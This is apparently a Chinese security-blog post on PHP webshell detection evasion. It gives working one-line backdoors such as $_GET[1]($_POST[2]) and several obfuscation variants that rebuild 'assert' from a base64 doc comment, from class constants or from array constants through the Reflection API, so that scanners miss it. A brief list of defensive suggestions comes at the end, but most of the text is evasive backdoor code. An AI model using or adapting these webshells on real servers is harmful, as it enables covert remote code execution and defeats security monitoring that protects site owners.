Webshell免杀的思考与学习
字数 597 2025-08-10 08:28:27
Webshell免杀的思考与学习
前言
Webshell免杀是渗透测试中的关键环节,一个免杀的webshell需要满足三个条件:
- 能够在目标服务器上存活
- 能够执行命令
- 使用管理工具时流量不被拦截
基础一句话木马
PHP的灵活特性使得可变函数成为webshell的常见形式:
$_GET[1]($_POST[2]); // 经典一句话木马
$a = 'assert';
$a(); // 可变函数调用
assert与eval的区别
eval()是语言构造器,不能被可变函数调用,必须包含合法PHP代码并以分号结尾assert()是函数,更灵活,可以被可变函数和回调函数调用
免杀技术进阶
1. 参数控制变形
通过数组遍历方式处理请求参数:
foreach (array('_GET') as $_request) {
foreach (
$$
_request as $_key=>$_value) {
$$
_key = $_value;
$_key($_value);
}
}
2. 反射API利用
获取注释内容
/**
* YXNzZXJ0YWE=
*/
class Example {
public function fn() {}
}
$reflector = new ReflectionClass('Example');
$zhushi = substr(($reflector->getDocComment()), 7, 12);
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6); // "assert"
$zhushi($_value);
获取类常量
class Test {
const a = 'As';
const b = 'se';
const c = 'rt';
}
$reflector = new ReflectionClass('Test');
for ($i=97; $i <= 99; $i++) {
$para1 = $reflector->getConstant(chr($i));
$para2 .= $para1; // 拼接成"assert"
}
$para2($_value);
获取数组常量
class Test {
const a = array(1=>'aS', 2=>'se', 3=>'rT');
}
$refl = new ReflectionClass('Test');
foreach ($refl->getConstants() as $value) {
foreach ($value as $value1) {
$value2 .= $value1; // 拼接成"assert"
}
}
$value2($_value);
3. 面向对象技术
类继承特性
利用类的继承关系可以绕过部分检测系统,因为:
- 某些函数不在黑名单中
- 语法分析不够完善
- 引擎可能认为代码不可执行
反射创建实例
class Test1 {
public function __construct($para) {
// 可执行代码
}
}
$class1 = new ReflectionClass("Test1");
$para = ''; // 可控参数
$class2 = $class1->newInstance($para);
免杀原理总结
- 代码混淆:通过编码、拼接等方式隐藏关键函数
- 非常规调用:使用反射、注释等非常规方式传递参数
- 面向对象:利用类、继承等特性绕过检测
- 动态特性:利用PHP的动态特性在运行时构造可执行代码
防御建议
- 禁用危险函数如
assert、eval等 - 监控反射API的使用
- 检查类定义中的可疑常量
- 分析注释内容是否包含可疑编码
- 实施严格的输入过滤和参数检查
这些技术展示了webshell免杀的多种思路,同时也提醒防御方需要从多维度进行防护。